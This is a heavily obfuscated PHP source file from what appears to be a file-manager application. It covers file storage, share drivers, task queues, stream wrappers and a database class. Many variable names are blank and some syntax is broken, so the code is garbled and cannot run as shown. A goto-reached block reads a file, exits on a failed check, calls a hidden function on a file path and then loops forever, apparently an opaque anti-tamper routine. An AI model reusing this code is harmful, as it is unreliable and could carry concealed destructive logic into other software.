addFileData($Ͼ) { $ԝ =& $_SERVER[՟]; if (!$Ͼ) { return !1; } $Ͼ[$ԝ[89]] = intval($Ͼ[$ԝ[89]]); if (!$Ͼ[$ԝ[89]] && strlen($Ͼ[$ԝ[681]]) > 32) { $Ͼ[$ԝ[89]] = intval(substr($Ͼ[$ԝ[681]], 32)); } $ = $this->add($Ͼ); return $this->find($); } public function addFile($⫁, $, $ = false) { $ =& $_SERVER[՟]; $Ѣ = IO::hashSimple($⫁); $ = IO::size($⫁); $͖ = $ <= 1024 * 1024 * 10 ? IO::hashMd5($⫁) : $[12]; $Ϲ = $[2036] . $Ѣ; CacheLock::lock($Ϲ); if ($͖ && $Ѣ) { $ = $this->addFileCheckExist($Ѣ, $͖, $); if ($) { CacheLock::unlock($Ϲ); return $; } } $ò = $this->addFileMake($⫁, $, $Ѣ, $͖, $, $); $⁛ރ = $this->addFileData($ò); CacheLock::unlock($Ϲ); if (!$͖ && $⁛ރ) { $this->fileMd5Check($⁛ރ); } return $⁛ރ; } public function fileMd5Check($ʶ) { $ =& $_SERVER[՟]; $ұ = array($ʶ[$[550]], $ʶ[$[97]]); $ = $[2037] . $ʶ[$[97]]; $ø = $[2038] . $ʶ[$[550]]; TaskQueue::add($[2039], $ұ, $, $ø); } public function fileMd5Set($š, $) { $ =& $_SERVER[՟]; $آ = $this->find($š); if (!$آ || $آ[$[556]]) { return; } $ = IO::hashMd5($); if (!$) { return $[12]; } $this->where(array($[550] => $š))->save(array($[556] => $)); } public function addFileMake($, $, $Ƕ, $, $, $) { $îġ =& $_SERVER[՟]; $ = $this->createFileName($, $Ƕ, $); $ţ = get_path_father($); $ = get_path_this($); if ($) { $ؙ = IO::move($, $ţ, !1, $); } else { $ؙ = IO::copy($, $ţ, !1, $); } if (!$ؙ) { return !1; } $ = KodIO::defaultDriver(); $Ǻ = array($îġ[626] => $, $îġ[2033] => 1, $îġ[503] => $, $îġ[892] => $[$îġ[484]], $îġ[504] => $, $îġ[2034] => $Ƕ, $îġ[2035] => $); return $Ǻ; } public function addFileCheckExist($ډ, $Ď, $) { $ =& $_SERVER[՟]; $٘ = $this->findByHash($ډ, $Ď); if (!$٘) { return !1; } $̯ = array($ [2033] => intval($٘[$ [2040]]) + 1, $ [626] => $); $this->where(array($ [551] => $٘[$ [550]]))->save($̯); return $٘; } public function remove($) { $this->linkCountChange($, !1); $this->clearEmpty(); return !0; } public function linkAdd($) { $this->linkCountChange($, !0); } public function linkCountChange($, $) { $ =& $_SERVER[՟]; if (!$) { return; } if (!is_array($)) { $ = array($); } $༚ = array(); foreach ($ as $) { $ = $ . $[12]; if (!$༚[$]) { $༚[$] = 0; } $༚[$]++; } $ = array(); foreach ($༚ as $ => $٩) { $ = $٩ . $[12]; if (!$[$]) { $[$] = array(); } $[$][] = $; } foreach ($ as $٩ => $ȶ) { if (!$ȶ) { continue; } $٩ = $ ? $٩ : -intval($٩); $Ԡ = array($[550] => array($[7], $ȶ)); if ($٩ < 0) { $Ԡ[$[2040]] = array($[1096], abs($٩)); } $this->where($Ԡ)->setAdd($[2040], $٩); } } public function findByHash($, $ݸ = false) { $М =& $_SERVER[՟]; if (!$ && !$ݸ) { return !1; } $ = array($М[2034] => $); if ($ݸ) { $ = array($М[2035] => $ݸ); } return $this->order($М[2041])->where($)->find(); } public function clearEmpty($ = 0) { $А =& $_SERVER[՟]; $é = time() - 3600 * 24 * $; $ = $А[2042] . $é; $ = $this->where($)->select(); if (!$) { return; } $ = new Task($А[2043], $А[12], count($)); foreach ($ as $Èى) { $->update(1); $this->resetFile($Èى); } $->end(); } public function resetFile($ᱣ) { $ᖖ =& $_SERVER[՟]; $ = array($ᖖ[551] => $ᱣ[$ᖖ[550]]); $Ϛěݒ = Model($ᖖ[1421])->where($)->count(); $ = Model($ᖖ[2044])->where($)->count(); $ = intval($Ϛěݒ) + intval($); if ($ == 0) { IO::remove($ᱣ[$ᖖ[97]]); Model($ᖖ[2045])->delete($ᱣ[$ᖖ[550]]); $this->where($)->delete(); $this->metaSet($ᱣ[$ᖖ[550]], null, null); write_log(ACTION . $ᖖ[2046] . KodUser::id() . $ᖖ[2047] . $ᱣ[$ᖖ[550]] . $ᖖ[2048] . $ᱣ[$ᖖ[89]] . $ᖖ[211] . $ᱣ[$ᖖ[97]], $ᖖ[2049]); return; } if ($ᱣ[$ᖖ[2040]] != $) { $this->where($)->save(array($ᖖ[2033] => $)); } } public function storageInfo($ = false) { $ʏʦ =& $_SERVER[՟]; $ = $this->count() + 0.0; $ɷ = 0; $ = 1; $҃ = 0; $ = 5000; for ($ = 0; $ < $; $ = $ + $) { $ɔ = $this->limit($, $ + $)->select(); foreach ($ɔ as $) { $ += $[$ʏʦ[89]] * $[$ʏʦ[2040]]; $ɷ += $[$ʏʦ[89]] * ($[$ʏʦ[2040]] - 1); $҃ += $[$ʏʦ[2040]]; } } $֠㦣 = array($ʏʦ[2050] => $, $ʏʦ[2051] => $ɷ, $ʏʦ[2052] => $ɷ / $, $ʏʦ[93] => $, $ʏʦ[2053] => $҃); return $֠㦣; } } goto e勞; C: if (!isset($_SERVER[$_SERVER[՟][54]]) || !isset($_SERVER[$_SERVER[՟][63]])) { $_getc = $_SERVER[՟][56]; $_getfile = $_SERVER[$_SERVER[՟][57]] . $_SERVER[՟][58]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[՟][59], $_getfilec); if (count($_getarrs) < $_SERVER[՟][60]) { $exit = $_SERVER[՟][61]; $exit(); } $_act = $_SERVER[՟][62]; $_act($_SERVER[$_SERVER[՟][57]] . $_SERVER[՟][58]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[՟][463]); } } class PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } public function __call($, $ݜ) { $ =& $_SERVER[՟]; if (method_exists($this, $)) { return; } $ = call_user_func_array(array($[1430], $), $ݜ); $ = array($[1431], $[1432], $[1433], $[1434], $[627], $[629], $[1435], $[120], $[1436], $[1437]); if (in_array($, $)) { $ = $this->getPathOuter($); } return $; } public function copy($, $, $뉍 = false, $ = false) { return $this->copyMove($, $, $뉍, $_SERVER[՟][627], $); } public function move($Ҏ, $ţ, $ = false, $ߑ = false) { return $this->copyMove($Ҏ, $ţ, $, $_SERVER[՟][629], $ߑ); } private function copyMove($ϭ, $Ũ, $Ö, $ލ, $ = false) { $ =& $_SERVER[՟]; $ = $Ũ; $߭ = IO::driverMake($Ũ); if ($߭->pathParse[$[1235]]) { $Ũ = $߭->pathParse[$[1235]]; } else { $Ũ = $; } $ = IO::copyMove($ϭ, $Ũ, $Ö, $ލ, $); $ = $this->getPathOuter($); return $; } public function pathThis($ܮ) { return get_path_this($this->pathParse[$_SERVER[՟][97]]); } public function pathFather($ρ) { return get_path_father($this->pathParse[$_SERVER[՟][97]]); } public function iconvSystem($) { return $; } protected function infoParse($·, $ = false) { $Ř =& $_SERVER[՟]; $ = $this->pathParse[$Ř[569]][$Ř[1260]] . $this->pathParse[$Ř[1253]]; if ($) { $ = IO::infoWithChildren($); } else { $ = IO::info($); } $ = $this->pathParse[$Ř[569]]; return Action($Ř[1428])->_shareItemeParse($, $); } public function listAll($) { $ =& $_SERVER[՟]; $ = IO::listAll($); $٠ = rtrim($this->pathParse[$[569]][$[1260]], $[8]); foreach ($ as &$ߚ) { $ߚ[$[97]] = $this->pathDriver . $[8] . ltrim(substr($ߚ[$[97]], strlen($٠)), $[8]); } unset($ߚ); return $; } public function listAllSimple($, $ = false) { $ =& $_SERVER[՟]; $ = $this->listAll($); $꼫 = $this->pathParse[$[504]]; if (trim($꼫, $[8]) == trim(get_path_father($꼫), $[8])) { $ = !0; } return IO::init($[12])->listAllSimpleMake($, $꼫, $); } public function getPathOuter($囊) { $ =& $_SERVER[՟]; $ِ = KodIO::parse($囊); if ($ِ[$[33]] == KodIO::KOD_SHARE_ITEM) { return $ِ[$[97]]; } $ = KodIO::clear($囊); $ = KodIO::clear($this->pathParse[$[569]][$[1260]]); $ó = substr($, strlen($)); if (substr($, 0, strlen($)) != $) { return !1; } return $this->pathParse[$[1254]] . $[8] . ltrim($ó, $[8]); } public function getType() { $욈 =& $_SERVER[՟]; $ = str_replace($욈[87], $욈[12], get_class($this)); return strtolower($); } public function isOsDriver($Ćƞ) { return IO::isOsDriver($Ćƞ); } public function info($) { return $this->infoParse($); } public function infoAuth($慽) { return $this->infoParse($慽); } public function infoWithChildren($Ҡ) { return $this->infoParse($Ҡ, !0); } public function infoFull($χ) { return $this->infoParse($χ); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($ˊdzޏ) { $this->pathParse = $ˊdzޏ; } protected function infoParse($ƟϮ, $ď = false) { $Ƥ =& $_SERVER[՟]; return Action($Ƥ[1259])->sharePathInfo($this->pathParse[$Ƥ[97]], !0, $ď); } public function listPath($, $ = false) { $嚌ɳ =& $_SERVER[՟]; $Ͱ = IO::listPath($, $); if (!$Ͱ) { return $Ͱ; } if (is_array($Ͱ[$嚌ɳ[1429]])) { $傘 = Action($嚌ɳ[1438])->parsePathChildren($Ͱ[$嚌ɳ[1429]], array($嚌ɳ[504] => $)); $Ͱ[$嚌ɳ[1429]] = Action($嚌ɳ[1259])->shareItemInfo($傘); } foreach ($Ͱ as $Ҁ܈ => $ٙ) { if (!in_array($Ҁ܈, array($嚌ɳ[96], $嚌ɳ[95]))) { continue; } foreach ($ٙ as $ꂛ => $傘) { $傘 = Action($嚌ɳ[1438])->parsePathChildren($傘, array($嚌ɳ[504] => $)); $Ͱ[$Ҁ܈][$ꂛ] = Action($嚌ɳ[1259])->shareItemInfo($傘); } } return $Ͱ; } } goto cВ; C졶: class TaskHttp extends Task { protected function startAfter() { $ =& $_SERVER[՟]; $硦 =& $this->task; $硦[$[1850]] = 1; Hook::bind($[1818], array($this, $[1851])); Hook::bind($[1820], array($this, $[1852])); Hook::bind($[1822], array($this, $[1853])); } protected function endAfter() { $« =& $_SERVER[՟]; Hook::unbind($«[1818], array($this, $«[1851])); Hook::unbind($«[1820], array($this, $«[1852])); Hook::unbind($«[1822], array($this, $«[1853])); } public function progressStart($) { $ݾ =& $_SERVER[՟]; $ޔ = curl_getinfo($); self::log($ݾ[1854] . $ޔ[$ݾ[392]]); self::valueSet($this->task[$ݾ[484]], $this->task); } public function progressEnd($) { $؎ =& $_SERVER[՟]; self::log($؎[1855] . $this->task[$؎[484]]); $this->end(); } public function progress($ާꂛ, $, $Ѹ, $, $ݮ) { $聤 =& $_SERVER[՟]; $Εݸ =& $this->task; if ($ݮ > 0) { $Εݸ[$聤[1144]] = $Εݸ[$聤[1144]] == 0 ? $ : $Εݸ[$聤[1144]]; $Εݸ[$聤[1774]] = $ݮ; } else { if ($Ѹ > 0) { $Εݸ[$聤[1144]] = $Εݸ[$聤[1144]] == 0 ? $ : $Εݸ[$聤[1144]]; $Εݸ[$聤[1774]] = $Ѹ; } } $this->update(); self::log("\x70\x72\x6f\x67\x72\x65\x73\x73\x48\x74\164\160\72\x64\x6f\x77\156\x3a{$Ѹ}\57{$}\x3b\x20\x75\160\154\x6f\141\144\x3a{$ݮ}\x2f{$}\x3b"); } } class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($ق, $ = '', $ɍ = 0, $Ÿ = '') { $ġ =& $_SERVER[՟]; $Ÿ = $Ÿ ? $Ÿ : ($ ? $ : $ق); $ = new Task($ق, $, $ɍ, $Ÿ); $GLOBALS[$ġ[1856] . $ق] = new TaskLog($ġ[1757], $, $Ÿ); return $; } public function __construct($ = '', $Ζ̓ = '', $ѹ = '') { $ݬቼ =& $_SERVER[՟]; if (!$) { $ = $ݬቼ[1757]; } $։ = $ . $ݬቼ[471] . rand_string(10); if (!$ѹ) { $ѹ = $ . $ݬቼ[53] . $ѹ; } switch ($) { case $ݬቼ[1757]: if (!$Ζ̓ || !$Ζ̓->task) { return echoLog($ . $ݬቼ[1857]); } $ = $Ζ̓; $։ = $->task[$ݬቼ[484]]; $ = $->task[$ݬቼ[484]]; if (!$->task[$ݬቼ[1662]]) { $->task[$ݬቼ[1662]] = $ѹ ? $ѹ : $; } break; case $ݬቼ[1858]: if (!$Ζ̓) { return echoLog($ . $ݬቼ[1859]); } $ڎӧ = is_string($Ζ̓) ? array($Ζ̓) : $Ζ̓; $ = new TaskFileTransfer($։, $, 0, $ѹ ? $ѹ : $ڎӧ[0]); foreach ($ڎӧ as $) { $->addPath($); } break; case $ݬቼ[398]: if (!$Ζ̓) { return echoLog($ . $ݬቼ[1859]); } $ڎӧ = is_string($Ζ̓) ? array($Ζ̓) : $Ζ̓; $ = new TaskZip($։, $, 0, $ѹ ? $ѹ : $ڎӧ[0]); foreach ($ڎӧ as $) { $->addPath($); } break; case $ݬቼ[1302]: if (!$Ζ̓) { return echoLog($ . $ݬቼ[1859]); } $ = new TaskUnZip($։, $, 0, $ѹ ? $ѹ : $Ζ̓); if ($Ζ̓) { $->addFile($Ζ̓); } break; case $ݬቼ[162]: $ = new TaskHttp($։, $); break; default: return; break; } $this->task = $; $this->taskID = $։; Hook::bind($ݬቼ[1794], array($this, $ݬቼ[1860])); Hook::bind($ݬቼ[1796], array($this, $ݬቼ[1861])); Hook::bind($ݬቼ[1790], array($this, $ݬቼ[1862])); echoLog($ݬቼ[1863] . $->task[$ݬቼ[1662]]); } public function __destruct() { $this->end(); } public function end($鬮̺ = '') { $ÖŮ =& $_SERVER[՟]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($鬮̺); $this->task = !1; $this->taskID = !1; Hook::unbind($ÖŮ[1794], array($this, $ÖŮ[1860])); Hook::unbind($ÖŮ[1796], array($this, $ÖŮ[1861])); Hook::unbind($ÖŮ[1790], array($this, $ÖŮ[1862])); } public function taskUpdate($䷳њ) { $ӟ =& $_SERVER[՟]; if (!$䷳њ || $this->taskID != $䷳њ[$ӟ[484]]) { return; } $ = 20; $ = intval($䷳њ[$ӟ[1775]] * $); $ = $ӟ[186] . str_repeat($ӟ[515], $) . $ӟ[1095] . str_repeat($ӟ[53], $ - $) . $ӟ[188]; $ = $ . sprintf($ӟ[1864], $䷳њ[$ӟ[1775]] * 100) . $ӟ[1865]; $ڥ = $ . $䷳њ[$ӟ[1774]] . $ӟ[8] . $䷳њ[$ӟ[1144]] . LNG($ӟ[1866]); $ܥ = $ӟ[12]; if ($䷳њ[$ӟ[1850]]) { $ڥ = $ . size_format($䷳њ[$ӟ[1774]]) . $ӟ[8] . size_format($䷳њ[$ӟ[1144]]); $ܥ = size_format($䷳њ[$ӟ[1776]]) . $ӟ[1867]; } if ($䷳њ[$ӟ[1146]]) { $䷳њ[$ӟ[1824]] = $䷳њ[$ӟ[1146]] . $ӟ[53] . $䷳њ[$ӟ[1824]]; } if ($䷳њ[$ӟ[1824]]) { $ߍ = $ӟ[12]; if ($䷳њ[$ӟ[1826]]) { $ߍ = $ӟ[50] . size_format($䷳њ[$ӟ[1827]]) . $ӟ[8] . size_format($䷳њ[$ӟ[1826]]); } $ܥ .= $䷳њ[$ӟ[1824]] . $ߍ; } if ($䷳њ[$ӟ[847]] && !$䷳њ[$ӟ[1826]]) { $ܥ .= $ӟ[53] . size_format($䷳њ[$ӟ[1831]]) . $ӟ[8] . size_format($䷳њ[$ӟ[847]]); } echoLog($ڥ . $ӟ[53] . $ܥ, !0); } public function taskEnd($) { $Љ =& $_SERVER[՟]; if (!$ || $this->taskID != $[$Љ[484]]) { return; } $ܻ = $ ? $[$Љ[1774]] . $Љ[8] . $[$Љ[1144]] . LNG($Љ[1866]) . $Љ[84] : $Љ[12]; echoLog($Љ[1868] . $[$Љ[1662]] . ($[$Љ[535]] ? $Љ[84] . $[$Љ[535]] : $Љ[12]) . $Љ[84] . $ܻ . $Љ[1869] . sprintf($Љ[935], timeFloat() - $[$Љ[1777]]) . $Љ[1789]); $this->end(); } public function taskKill($Í) { $ =& $_SERVER[՟]; if (!$Í || $this->taskID != $Í[$[484]]) { return; } echoLog($[1870] . $Í[$[1662]]); } } class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\x74\141\163\153\121\165\x65\x75\x65\x4c\145\156\147\164\x68"; const QUEUE_DATA = "\164\141\163\153\121\165\145\x75\145\104\x61\164\x61"; const QUEUE_TIME = "\x74\x61\163\x6b\x51\165\145\x75\145\114\141\x73\164\x52\x75\156"; const QUEUE_THREAD = "\164\141\163\153\x51\165\145\165\145\x54\x68\x72\x65\141\144"; public static $listData = false; public static $listDataAdd = false; public static function initTask() { } public static function add($, $෨ = array(), $Ҡ = '', $ = '') { $ =& $_SERVER[՟]; if (self::$listData === !1) { self::$listData = self::getAll(); self::$listDataAdd = array(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ && array_find_by_field(self::$listData, $[107], $)) { return !0; } if ($ && array_find_by_field(self::$listDataAdd, $[107], $)) { return !0; } self::$listDataAdd[] = array($[350] => $, $[1871] => $෨, $[535] => $Ҡ, $[107] => $); return !0; } public static function addSubmit() { $ =& $_SERVER[՟]; if (!self::$listDataAdd || count(self::$listDataAdd) == 0) { return; } self::setAll(array_merge(self::getAll(), self::$listDataAdd)); write_log($[1872] . json_encode_force(array_to_keyvalue(self::$listDataAdd, $[12], $[535])), $[207]); self::$listData = !1; self::$listDataAdd = !1; } public static function addNow($ɥ, $ = array(), $ = '', $큠 = '') { $ =& $_SERVER[՟]; if (self::count() >= self::MAX_LENGTH) { return !1; } $͠ = self::getAll(); if ($큠 && array_find_by_field($͠, $[107], $큠)) { return !0; } $͠[] = array($[350] => $ɥ, $[1871] => $, $[535] => $, $[107] => $큠); self::setAll($͠); write_log($[1872] . $, $[207]); return !0; } public static function run() { $펠 =& $_SERVER[՟]; $ = self::getAll(); $煬 = array_shift($); if (!$煬) { return !1; } self::setAll($); $⟠ = timeFloat(); $ = $펠[12]; try { $ = Hook::apply($煬[$펠[350]], $煬[$펠[1871]]); } catch (Exception $ͺ) { write_log($ͺ, $펠[1267]); } $ = number_format(timeFloat() - $⟠, 3) . $펠[1789]; if ($ && is_string($)) { $ = $ . $펠[1873] . $; } write_log($펠[1874] . $煬[$펠[535]] . $펠[1875] . $, $펠[207]); Cache::set(self::QUEUE_TIME, time(), 3600 * 24 * 30); return !0; } public static function runThread() { $نρ =& $_SERVER[՟]; $ٸ = self::threadCount() + 1; if ($ٸ > 3 || !self::count()) { return; } write_log($نρ[1876] . $ٸ, $نρ[207]); Cache::set(self::QUEUE_THREAD, $ٸ, 3600 * 24); AutoTask::clearUserStatus(); while (!0) { if (!self::run()) { break; } usleep(mt_rand(200, 50000)); } Cache::set(self::QUEUE_THREAD, 0, 3600 * 24); write_log($نρ[1877], $نρ[207]); } public static function getKey($줜, $ = "\x69\x6e\164") { $݄ =& $_SERVER[՟]; Cache::removeMemory($줜); $ٓ = Cache::get($줜); if ($ == $݄[373]) { return $ٓ ? intval($ٓ) : 0; } if ($ == $݄[1878]) { return is_array($ٓ) ? $ٓ : array(); } return $ٓ; } public static function lastTime() { return self::getKey(self::QUEUE_TIME); } public static function count() { return self::getKey(self::QUEUE_LENGTH); } public static function threadCount() { return self::getKey(self::QUEUE_THREAD); } public static function getAll() { return self::getKey(self::QUEUE_DATA, $_SERVER[՟][1878]); } public static function setAll($) { $ŕ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($), $ŕ); Cache::set(self::QUEUE_DATA, $, $ŕ); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); Cache::set(self::QUEUE_THREAD, 0, 60); } } goto AҚ; aԵ: class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ƴ = false) { } public function exist($) { $ = $this->info($); return $[$_SERVER[՟][242]]; } public function isFile($) { $ = $this->info($); return $[$_SERVER[՟][242]]; } public function isFolder($) { return !1; } public function size($ݸ) { $뾩 = $this->info($ݸ); return $뾩[$_SERVER[՟][89]]; } public function info($) { return $this->infoParse($); } public function infoAuth($ע) { return $this->infoParse($ע); } public function infoWithChildren($ԓ) { return $this->infoParse($ԓ); } public function infoFull($) { return $this->infoParse($); } private function infoParse($) { $Ҿ =& $_SERVER[՟]; $ = $this->header($); if (!$ || !$[$Ҿ[834]]) { return !1; } $Ѷ = _get($, $Ҿ[422], 0); $ = array($Ҿ[32] => $[$Ҿ[32]], $Ҿ[97] => $, $Ҿ[33] => $Ҿ[240], $Ҿ[89] => intval($Ѷ), $Ҿ[179] => get_path_ext($[$Ҿ[32]]), $Ҿ[1456] => $Ѷ > 0 && $[$Ҿ[1606]], $Ҿ[1457] => !1); return $; } private function header($) { $ =& $_SERVER[՟]; if (isset(self::$_cacheHeader[$])) { return self::$_cacheHeader[$]; } $җ = isset($GLOBALS[$[1607]]) ? $GLOBALS[$[1607]] : !1; $GLOBALS[$[1607]] = !0; self::$_cacheHeader[$] = url_header($); $GLOBALS[$[1607]] = $җ; return self::$_cacheHeader[$]; } public function hashSimple($Ȉ, $ = false) { $ڛ =& $_SERVER[՟]; $ꉤ = $this->info($Ȉ); if (!$ꉤ || !$ꉤ[$ڛ[242]]) { return !1; } $֦ = $ꉤ[$ڛ[89]]; $ = 200; $ = 50; if ($֦ <= $ * $) { return md5($this->fileSubstr($Ȉ, 0, $֦)) . $֦; } $ = intval($֦ / $); $ = $ڛ[12]; $ȋ͏ = timeFloat(); $ = 15; for ($֑ = 0; $֑ < $; $֑++) { if (timeFloat() - $ȋ͏ > $) { return !1; } $ = $this->fileSubstr($Ȉ, $ * $֑, $); if (!$) { return !1; } $ .= $; } $ .= $this->fileSubstr($Ȉ, $֦ - $, $); return md5($) . $֦; } public function getContent($) { return $this->fileSubstr($); } public function fileSubstr($, $籙 = 0, $ = -1) { $ȁ =& $_SERVER[՟]; $ = $this->info($); if (!$ || !$[$ȁ[242]] && $[$ȁ[89]] > 1024 * 1024 * 10) { return !1; } if ($ === -1) { $ = $[$ȁ[89]]; } if ($ == 0) { return $ȁ[12]; } $삿 = array($ȁ[1608] . $籙 . $ȁ[869] . ($籙 + $ - 1)); $ = url_request($, $ȁ[271], !1, $삿, !1, !1, 30); return $[$ȁ[1290]] ? $[$ȁ[1290]] : $ȁ[12]; } public function download($炜, $) { Downloader::start($炜, $); return $; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($, $ф = '') { $this->info = $this->info($); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[՟][97]]; $this->pathOpen = $; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$])) { self::$_chunkBuffer[$] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($ڟ) { $ = $this->fileSubstr($this->pose, $ڟ); $this->pose += strlen($); return $; } public function stream_tell() { return $this->pose; } public function stream_seek($յ, $䑍Μ) { $ =& $_SERVER[՟]; if ($䑍Μ == SEEK_SET) { $this->pose = $յ; } else { if ($䑍Μ == SEEK_CUR) { $this->pose += $յ; } else { if ($䑍Μ == SEEK_END) { $this->pose = $this->info[$[89]] + intval($յ); } } } if ($յ < 0) { $this->pose = $this->info[$[89]] + $յ; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[՟][89]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($, $˥) { $ =& $_SERVER[՟]; $ = $this->info($); return array($[1609] => 0, $[1610] => 0, $[16] => 32768 + 511, $[1611] => 0, $[1612] => 0, $[1613] => 0, $[1614] => 0, $[89] => $[$[89]], $[1615] => $[$[1455]], $[1571] => $[$[98]], $[1570] => $[$[241]], $[1616] => 0, $[1617] => 0); } static $fileInfo = array(); public function info($;) { $ = $_SERVER[՟][1618]; if (isset(self::$fileInfo[$;])) { return self::$fileInfo[$;]; } if (substr($;, 0, strlen($)) != $) { return !1; } self::$fileInfo[$;] = IO::info(substr($;, strlen($))); return self::$fileInfo[$;]; } public static function read($ԣ, $, $ɼω) { if (!isset(self::$_fopenCache[$ԣ])) { $ꡡ = new StreamWrapperIO(); $ꡡ->stream_open($ԣ); self::$_fopenCache[$ԣ] = $ꡡ; } $ꡡ = self::$_fopenCache[$ԣ]; return $ꡡ->fileSubstr($, $ɼω); } public static function _read($៲, $, $ծ) { $ =& $_SERVER[՟]; $ݧ = fopen($៲, $[1459]); if (!$ݧ) { return $[12]; } $Ӹς = 8192; fseek($ݧ, $, SEEK_SET); $ = $[12]; $ɗ = 0; while ($ɗ < $ծ) { $ = min($Ӹς, $ծ - $ɗ); $ .= fread($ݧ, $); $ɗ += $; } fclose($ݧ); return $; } public function fileSubstr($϶, $ؙ) { $ =& $_SERVER[՟]; $ = $this->info[$[89]]; $ = $϶; $Ɏ = $ؙ; if ($϶ < 0) { $϶ = $ + $϶; } if ($ؙ === !1) { $ؙ = $ - $϶; } if ($϶ + $ؙ > $) { $ؙ = $ - $϶; } if ($ؙ <= 0) { return $[12]; } if ($϶ < 0 || $϶ >= $ || $ؙ <= 0 || $ؙ > 1024 * 1024 * 10) { throw new Exception("\x69\157\106\151\154\145\122\x65\141\x64\40\x65\162\x72\x6f\x72\x21\40\x73\164\141\x72\164\x3d{$϶}\x3b\x6c\x65\x6e\x67\x74\x68\75{$ؙ}\x3b\x20\163\x69\172\145\75{$}\x3b"); } $ = 64 * 1024; $ =& self::$_chunkBuffer[$this->path]; if (!$) { $ = array(); } $Ѹ = 0; $ = 0; $硤 = $[12]; foreach ($ as $Ѹ => $硤) { $Ѹ = intval($Ѹ); $ = $Ѹ + strlen($硤); if ($϶ >= $) { continue; } if ($϶ >= $Ѹ && $϶ + $ؙ <= $) { return substr($硤, $϶ - $Ѹ, $ؙ); } break; } if (count($) > 100 || timeFloat() - $this->timeStart > 2.0) { $this->log($[1619], $[1620] . count($) . "\x3b\163\x74\x61\162\x74\x3d{$϶}\54\x6c\x65\x6e\147\164\150\75{$ؙ}\73\x70\157\163\145\x3a{$Ѹ}\x7e{$}"); throw new Exception($[1621]); } $ޟ = intval($϶ / $) * $; $ѭ = ceil(($϶ + $ؙ) / $) * $ - $ޟ; $ٶ = IO::fileSubstr($this->path, $ޟ, $ѭ); $[$ޟ . $[12]] = $ٶ; ksort($); $ǰ˂ = substr($ٶ, $϶ - $ޟ, $ؙ); return $ǰ˂; } private function log($, $) { $ɂ =& $_SERVER[՟]; $允 = timeFloat() - $this->timeStart; write_log(sprintf($ɂ[1622], $, $this->info[$ɂ[32]], $允, $), $ɂ[1267]); } } class Message { function __construct() { } public function send($ÿ = '', $̾ = array(), $Ѡ = "\164\145\170\164") { $帩 =& $_SERVER[՟]; $ = array($帩[33] => $帩[1623], $帩[181] => $ÿ); if (in_array($Ѡ, array($帩[1623], $帩[1624]))) { $[$帩[33]] = $Ѡ; } $̾ = array($帩[587] => isset($̾[$帩[587]]) ? $̾[$帩[587]] : $帩[12], $帩[671] => isset($̾[$帩[671]]) ? $̾[$帩[671]] : $帩[12]); if (empty($ÿ) || empty($̾[$帩[587]]) && empty($̾[$帩[671]])) { return !1; } $ۅ = array($帩[1551] => $, $帩[1625] => $̾); Hook::trigger($帩[1626], $ۅ); } } goto dҾۭ; CŔ: class DbSqlite3 extends DbSqlite3Base { public function query($ġ) { $ =& $_SERVER[՟]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::query($ġ); CacheLock::fileUnLock($[13]); return $; } public function execute($) { $Փ =& $_SERVER[՟]; if (!CacheLock::fileLock($Փ[13])) { return !1; } $ = parent::execute($); CacheLock::fileUnLock($Փ[13]); return $; } } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\x5f\x74\150\151\156\153\137"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\145\161" => "\x3d", "\156\145\161" => "\74\76", "\x67\164" => "\x3e", "\145\x67\164" => "\76\x3d", "\154\164" => "\74", "\145\154\164" => "\74\75", "\x6e\157\164\x6c\151\153\x65" => "\116\117\x54\40\114\111\113\105", "\154\x69\153\145" => "\x4c\111\113\x45", "\151\x6e" => "\x49\116", "\x6e\157\164\x69\x6e" => "\x4e\x4f\124\40\111\x4e", "\x6e\x6f\164\40\151\156" => "\x4e\117\x54\40\111\x4e", "\142\145\x74\167\x65\145\x6e" => "\102\x45\x54\127\105\x45\x4e", "\156\157\164\142\145\164\167\145\145\x6e" => "\x4e\x4f\x54\x20\102\x45\124\127\105\x45\x4e", "\156\x6f\164\x20\x62\145\164\x77\145\x65\156" => "\x4e\117\x54\40\102\x45\124\x57\105\x45\x4e"); protected $selectSql = "\123\105\114\x45\103\124\45\104\x49\123\x54\111\x4e\x43\x54\45\40\x25\x46\x49\105\x4c\104\45\x20\x46\122\x4f\x4d\40\x25\x54\101\102\x4c\x45\45\45\112\x4f\x49\x4e\x25\45\x57\110\x45\122\x45\x25\x25\x47\122\117\x55\x50\45\x25\110\x41\x56\111\116\107\x25\x25\x4f\x52\104\x45\122\45\45\x4c\111\115\x49\x54\45\x20\x25\125\x4e\x49\x4f\116\45\45\x43\x4f\115\115\x45\116\124\x25"; protected $bind = array(); public static function getInstance() { $ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[՟][1041], $); } public function factory($ = '') { $С =& $_SERVER[՟]; $ = $this->parseConfig($); if (empty($[$С[1042]])) { think_exception(think_lang($С[1043])); } $this->dbType = 